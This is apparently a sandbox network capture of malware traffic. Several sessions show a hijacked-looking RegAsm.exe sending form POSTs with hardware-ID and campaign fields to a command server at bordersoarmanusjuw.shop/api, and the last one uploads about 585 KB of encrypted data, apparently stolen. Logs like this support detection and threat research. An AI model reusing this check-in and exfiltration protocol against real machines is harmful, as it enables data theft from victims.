2024-04-21 13:31:25 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:25 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:26 UTC	822	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=amecd14k0ianp4f50imrf2ojnu; expires=Thu, 15-Aug-2024 07:18:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IKwPpVz%2BAsjk9N2ymnBlSk5eXeJi%2BDyPwuznhhvXB6oZb%2BhOnMIJln3zzlG2dbbs3LDRAVRf2hh3R46muEYoe%2BPkcvmqsLTr94FvBsd6oFeYpdK%2Fdl%2BRaeXxlaiTSodt%2B8srXm%2Bq1T9Ezw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbfd8e3c53f8-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49760	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:25 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:25 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:26 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lpg1jl8l16co6el6oubr8egr6v; expires=Thu, 15-Aug-2024 07:18:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNP51u63%2Fu80tdHHHHwU3oDwyw%2BQJzNAK6CzG%2F76BOAbS1Jt8nZybYzfRTUdNtYNop3EA0Qgr9JQastyozzGXk4DxxkH%2F3rX82G%2FZKGZoCBFXN7V9I%2Bz0%2FmlBQ4X0L6HgTK3FOM2Pmw03Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbfeefcdad57-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49761	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:26 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1411 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:26 UTC	1411	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:26 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=99sa8ftogf6k34qacmtjha17bn; expires=Thu, 15-Aug-2024 07:18:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=myV1YgETS09pKsS4TggsMj3j0YZj2TbZAUraH4iuMqpZd%2Fymwi2Nm%2FLh6DoQZi%2BoBl5kVxefBX6%2BWBN5CH7aON5g%2FuGUtNXCSrV6EzRufQptRb4tHHYBvPbHW4pNZ4kcCZcw%2Bw1ten%2FZTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc023a007bc3-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49762	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:26 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1411 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:26 UTC	1411	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:27 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mrhhcnksvpdlgk1b14td0dtt83; expires=Thu, 15-Aug-2024 07:18:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hYt2oEAJmQaZc9cXRtXUdBY0tglAGthgtAX7rpHIcgc%2BAF%2FOGVDkpfs%2BubMv5JvRFxGT159J42T2KntFFVMYG2sm8AR2B%2B2qh4OENkyxYavJqMqroVQYlArBdLAbzxYNa5UEhXAh9uuqtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc03dd30456a-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:26 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584825 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 4d 74 c6 a5 70 ab 74 02 f5 40 87 cb 2e 97 54 ff ae 1e ae 71 e0 d8 fe f7 c8 41 88 01 c4 74 4e 87 7a 04 80 44 38 6c 33 0f 31 8e 49 83 7d b0 7f 44 30 86 f7 97 5c 9d 3d 7d 6c 1f 6a dd 2c 84 7d 42 10 da c2 87 bc c9 c8 44 c0 37 54 0b 25 c1 fb c3 e4 ca 2e 7e 10 a7 c3 bc 1f 86 21 ec 37 ae a4 21 35 ad 40 e8 3e 8e ab 23 63 6a ed 81 16 52 fa 71 30 43 36 47 8d 59 b5 8e 14 ac ad 26 9e f9 dd 6e cd fe ea 24 13 1a 10 ab 41 ad 80 8e e5 73 03 9f 36 f6 77 57 77 9e 9b af 71 fd 74 ed ad f8 f9 26 ed b9 a8 6a b9 75 f9 29 9d 90 f8 bd 06 23 77 ed 65 28 24 46 06 1a 16 5b 51 9b ca 5d 06 3e fb a8 c7 90 fe 5c 47 dd 8b 5c d8 ca 25 ea a5 99 04 95 c8 5a 41 a4 91 86 ba 2f 89 5f 38 23 fa ce 6f f5 9e dc f3 b5 6e 49 0a 37 0e 0d e9 c5 9c de 4f 45 24 94 04 7f f9 92 bd 57 a6 68 83 2b 94 b3 99 Data Ascii: Mtpt@.TqAtNzD8l31I}D0\=}lj,}BD7T%.~!7!5@>#cjRq0C6GY&n$As6wWwqt&ju)#we($F[Q]>\G\%ZA/_8#onI7OE$Wh+
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 7c 4d 36 f8 e1 f3 78 63 16 93 9b 1c 29 74 4c b7 8f 21 be fd d9 eb 77 15 08 cf 05 46 37 ff 83 d7 de b1 5a a8 b3 86 d5 d4 a4 4e 47 c9 8d d4 c6 80 e5 14 2a e1 97 d4 70 ba 71 80 f4 49 78 43 3f cc 38 96 e0 85 21 a1 16 8e df 6a 8e d4 9a 09 3f d4 61 0c fb b7 e9 45 af 7e 43 47 7b f9 70 ed 2b d1 96 de 2b 72 da ca 59 3a d8 67 1f 69 6e f8 59 24 a9 97 df c6 8b af 2d f7 d0 56 86 97 f9 f8 ce b0 fe 4b 0b 73 6e a2 8f 3b b8 9e 25 b1 73 46 23 25 4d 87 03 96 27 06 8b 8b b7 3a 7f 66 0b 1a 0c dc fe 73 4a c0 b7 63 39 bf 89 68 52 d2 49 7a c9 6a a2 3a c7 6a 21 f3 37 29 66 fd cd 72 fc 4b 39 54 c4 a3 d2 a4 54 93 e8 8d b3 73 1f 75 b8 0c b8 29 16 dd fa 11 a4 71 81 54 8f d0 84 da 27 57 f9 e7 f5 15 3d 7a f5 46 ba 05 5c fa 4a a4 1f 0e 33 69 0a 2d c1 a1 58 22 5d 8f bf ac 2a 24 3d a8 d3 Data Ascii: \|M6xc)tL!wF7ZNGpqIxC?8!j?aE~CG{p++rY:ginY$-VKsn;%sF#%M':fsJc9hRIzj:j!7)frK9TTsu)qT'W=zF\J3i-X"]$=
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 7e 92 47 25 e6 ee 25 fc 4f 8b 04 49 dd 2e 6d 55 8d 93 20 af d0 38 2e fa 91 46 0b a6 dd ca 2f e1 2f 87 a4 aa 36 78 a3 ba 2a 62 c4 c0 af 13 57 c8 ea f8 3a f4 ef 44 7d e6 77 40 f0 5e 97 6f 87 36 bd 73 9a 8f b0 3d 5b 43 a3 79 78 43 0b 4b b8 b6 0f 5d b1 4c b0 4c 25 8b 91 1c a9 b9 be b6 83 d1 62 bb cb 04 01 dc db 00 1b d8 12 41 bf b1 4c 5c e2 57 53 40 92 24 53 9c 82 e6 e9 5e 00 d3 a6 87 37 a6 16 d1 e6 03 83 61 01 ef 1f 1d bd f3 83 75 00 a8 84 9f 15 02 a8 a6 ac b8 9b 15 0d ca 13 8f bf b7 5d 98 d7 aa dc e8 83 48 09 9b 39 22 f0 fb 16 7a 12 70 23 e7 07 b5 b5 c2 35 31 2f 5d d6 9a 71 e5 df ff 82 1c 4b 64 da f8 72 48 89 85 5b 49 cf cd 0e 5b 2f 72 d4 c2 a5 c4 97 bf 1e 0a 25 01 36 91 51 c3 9e 99 b9 5a 91 f0 28 d8 69 72 d7 5f f2 d1 6c 21 d3 08 05 65 4b 28 7c 5b 2d e3 5a Data Ascii: ~G%%OI.mU 8.F//6x*bW:D}w@^o6s=[CyxCK]LL%bAL\WS@$S^7au]H9"zp#51/]qKdrH[I[/r%6QZ(ir_l!eK(\|[-Z
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 9c ef 15 d7 d8 80 25 21 d8 b5 81 d4 a3 58 05 9a 7c 37 7a fd ee 31 53 15 ec ef 95 81 0b bc 1a 51 64 0b 52 8e 5d 28 97 2b 31 1c b5 51 c2 13 65 5e c9 d4 90 b6 bb 40 cd 71 d4 20 65 c1 f0 26 bb 18 c5 a2 3d 85 f1 c3 b2 1c 07 36 62 be b7 94 71 ca d1 5c 1f 4d 3f c7 f3 c2 a7 ee 63 e7 d9 cb c3 e4 63 0a 64 1d 78 7f 44 63 b8 6a 73 83 31 5e 0e 9b ed da 9d 57 54 89 e2 e6 df 39 76 6a 0f 12 36 d4 1e 77 2f cf 40 ee 4e a8 e8 92 f2 be dd 42 06 9b 3d 03 2d 7a 1a 89 46 05 bb ec 14 e4 87 c9 49 dc 9d a2 93 19 77 f6 bf 6f 7d 4c c4 ec 64 ba 18 c1 a3 d8 be 8d 7c aa 60 b6 e0 76 6c ac 2f fc da 49 74 a2 d1 e1 79 eb ec a6 b0 40 46 dc 70 76 20 4a 98 55 51 41 7a 73 c6 81 b6 dd fb 50 00 e9 3b 67 35 18 a3 d3 98 ff 93 10 28 7c ed 8b de 1e 41 19 24 b8 9f f6 8c 74 6f e3 20 47 a1 9d 87 d5 d9 Data Ascii: %!X\|7z1SQdR](+1Qe^@q e&=6bq\M?ccdxDcjs1^WT9vj6w/@NB=-zFIwo}Ld\|`vl/Ity@Fpv JUQAzsP;g5(\|A$to G
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: 6d 57 a5 0c eb fa 06 ac 5b 55 c1 79 6b 22 7d 84 df f4 ec 17 42 ff 03 94 07 df bc 0e cb 12 4a 35 31 68 c6 15 2e 58 da 85 4e 71 f8 8b 78 7b 35 7b 76 35 9d 38 9c 14 14 89 70 e2 49 f3 46 2d 5d 52 4c f7 65 fd 25 97 38 67 dc cc 5d d6 44 5c 37 4b 6d de 56 62 64 4c c7 01 1c 03 f7 f3 e8 f4 1a 8c 1d 24 e2 47 7f 60 0b b7 a6 4c da 6b 70 66 c1 8a 4d 5c d3 df 11 35 0c ab e0 48 f4 c3 9e dd 6e 4a b5 d5 97 82 a1 7c 58 97 f6 f3 eb 2e 76 ef cd c1 c7 2e 6f da b6 b3 4c e9 6e 2f 37 ea af 0a 97 80 45 4d 31 30 fc aa 59 51 4a e5 bc da eb 96 cb fb 5f 7f 55 bc dd cc 34 27 2c b4 c2 d5 0c 26 4b cb 02 33 d4 99 ea ff 30 60 b1 89 14 eb 07 d6 d7 44 7c e5 7b b7 03 0a e7 7f 68 bf 6e 2b fd 72 cc 89 ce a2 c2 0f db 0e c7 9d a8 5e 41 47 ca fe 28 62 32 f1 a2 03 95 fe 5f 90 fe 34 0d 59 ed 9c b8 Data Ascii: mW[Uyk"}BJ51h.XNqx{5{v58pIF-]RLe%8g]D\7KmVbdL$G`LkpfM\5HnJ\|X.v.oLn/7EM10YQJ_U4',&K30`D\|{hn+r^AG(b2_4Y
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: a7 12 6f 1b 85 d3 f4 ba 5a cc c2 79 85 c5 d7 16 93 8a d1 e5 86 ff 3a be d9 43 0c 0b f8 ab 90 75 06 d7 87 05 a6 c2 30 6f 81 58 62 e0 ea c7 b5 c5 88 a4 1c 7e bc 2b b8 af f6 f0 55 99 d0 e2 e9 26 04 4a 2c a7 0e af 26 66 78 11 b8 a4 a7 6a 61 5d 0d a4 72 c9 fd 5f 4e d7 08 49 70 38 86 d2 36 91 cb b4 40 e0 be bf 9b 19 4d fa 16 20 dd df 51 4a 85 0b b4 76 6a 31 58 d6 57 4e a9 35 62 3a ba 90 ce 23 5e 5f df 35 b7 45 f0 d7 40 b2 e5 56 4e ca 06 97 fb 00 04 47 fe 31 f7 4f d1 85 ed 1f 2d 41 5a 37 01 65 b5 d3 fa 30 c8 df c2 7a 7c 01 0b e9 62 80 a7 8f 9a a7 05 88 69 ca b9 5d 30 de f5 da 5e ed 32 b7 b6 f3 be e0 35 5f c9 1a 43 30 9c 53 03 b5 1e 6c cd 7e 89 3b 01 b0 0d 98 21 05 aa bc 18 10 61 2f fe 3d d4 07 80 c2 0b b0 30 96 7a 04 c9 58 3b 22 33 2b 99 df f5 01 00 7a 97 32 10 Data Ascii: oZy:Cu0oXb~+U&J,&fxja]r_NIp86@M QJvj1XWN5b:#^_5E@VNG1O-AZ7e0z\|bi]0^25_C0Sl~;!a/=0zX;"3+z2
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: bf 27 35 5a d5 5e 20 93 b2 3c f1 33 d5 51 7e 20 d2 ee 5a 7e 7a 1a 3a 67 1e 3f 97 a9 46 18 97 c6 22 b8 52 47 0e bd e8 b1 1f 08 37 c4 d8 75 75 2a 59 97 35 b9 cf e8 65 66 94 22 fb 64 f7 75 05 a6 d3 f6 22 18 a5 62 5d f7 cb 79 a6 2c 24 c6 d4 a5 99 07 8c dd ae 94 fa cf b4 7a 35 ba ce 3e 38 54 c1 d7 6d 03 e1 71 5d 5f 5c ff e1 41 72 c1 43 ac 9d b3 f8 6f 64 4d 8b 83 37 9d a7 99 43 ae c4 b1 d9 b4 e4 39 85 67 3d 81 ab 56 36 b7 a8 58 4a e0 d7 6b 41 b3 7f 7b c9 26 d4 8b 59 46 57 20 60 f7 30 72 2e e7 4b 3f 07 bf 3c 1b 2c 57 2d 35 d4 a7 b2 ce 5a 7e a6 ab 30 a4 16 0e da 78 81 b6 2c 6d 86 8f 89 e2 5b ce d7 83 df 82 df fc a0 6d 5e 5a 18 3c 1a 02 b1 7c 42 db d9 8a 54 5f 72 3a b9 57 97 13 77 e3 cb 9d dd 8f 38 1b 12 d9 97 ce 60 d6 ae 38 cd ed ea 9c 71 2f 6f 1f 5e 9d 1d 66 d4 Data Ascii: '5Z^ <3Q~ Z~z:g?F"RG7uu*Y5ef"du"b]y,$z5>8Tmq]_\ArCodM7C9g=V6XJkA{&YFW `0r.K?<,W-5Z~0x,m[m^Z<\|BT_r:Ww8`8q/o^f
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: b3 1b db af 0e bc f4 30 3a 25 e9 94 42 67 41 eb dd 5b 3e ac 8e 8e 9e 5a 47 81 1c c0 ae 7b fe cd 7b c5 77 3e c2 89 ed 6a 4c 1f f9 b5 fe 2c 17 69 b0 e1 7e 04 90 54 88 ed 7f 36 b2 76 db b9 0b 88 0b 20 64 4f 5e 9e 35 f5 83 4a ef 62 7d 9e a5 4b df 71 b0 ca 70 ce 36 16 16 86 6d 47 ab a3 42 2e 7f a9 39 2c a5 44 f7 e2 94 24 50 d0 d1 86 3c bc d8 05 d3 dc 36 46 a3 30 83 1d 22 87 bd 58 93 82 69 d6 2f b4 0c 0d 7a a6 c1 c9 a1 de 78 f6 af 44 73 68 d8 1d 6a ca 54 f6 09 be d5 66 c0 b3 1d ad 35 15 d5 14 a3 6a 6d 74 c4 6a 5f 20 ba 83 5e bf e6 b9 80 f4 60 43 e6 65 f8 b6 fe ad 9f c4 04 9c 80 37 5e 55 f6 a8 01 df d3 79 8d 2c 74 a5 66 22 cc cb 36 f5 97 b4 cd ab 68 37 1c e1 53 84 a4 2f 35 f2 53 97 97 65 3e 11 a5 71 93 ca 64 a1 0e 40 31 e4 95 09 24 13 2f 90 84 28 fb 05 f2 de d6 Data Ascii: 0:%BgA[>ZG{{w>jL,i~T6v dO^5Jb}Kqp6mGB.9,D$P<6F0"Xi/zxDshjTf5jmtj_ ^`Ce7^Uy,tf"6h7S/5Se>qd@1$/(
2024-04-21 13:31:26 UTC	15331	OUT	Data Raw: f3 e4 08 61 e5 b0 c3 da 81 34 d5 98 d9 8b 65 87 e7 5b 27 ab b6 db 3d dd 1d 43 da 72 d9 77 5d 5f bd cb d6 4d 0e d8 3e e0 25 3b f9 6c 21 62 d5 76 10 35 62 90 70 ee 8c d4 93 dc 85 fc b7 86 fe 35 9c 83 1b da 16 7e 3d d9 65 0c 65 c2 74 dc d6 ef a7 df ad 3a ec ad 65 33 72 53 56 03 1e 0a ab 4a 8c 69 cb 84 c3 3d c5 12 9f 45 d2 e5 5e d5 20 02 29 01 77 cd 34 d6 a3 8d 31 47 56 34 86 18 1e 70 01 b1 94 48 39 3e 98 9c 1e 49 67 6e 3d 75 33 87 60 c1 68 1d 65 7f e6 a3 4d c4 ee 59 4b 47 a3 e8 ce ec 5e 94 99 f8 79 9f f6 f3 74 3a 9c 56 5f 99 e2 69 6f ea 61 1d a9 cd 89 dd 31 d0 03 45 1e 61 3f f6 f0 ec 85 4e 53 0e e9 2c 0f 04 b1 7a a3 99 06 32 1f 2e ea ba 3d 12 cf 67 c4 b6 38 d3 10 21 be 6b b6 d1 8e e3 85 c1 2c e1 5d f8 e4 ad c6 43 a4 26 f1 08 3a 2b 40 39 c3 31 99 65 4a 73 95 Data Ascii: a4e['=Crw]_M>%;l!bv5bp5~=eet:e3rSVJi=E^ )w41GV4pH9>Ign=u3`heMYKG^yt:V_ioa1Ea?NS,z2.=g8!k,]C&:+@91eJs
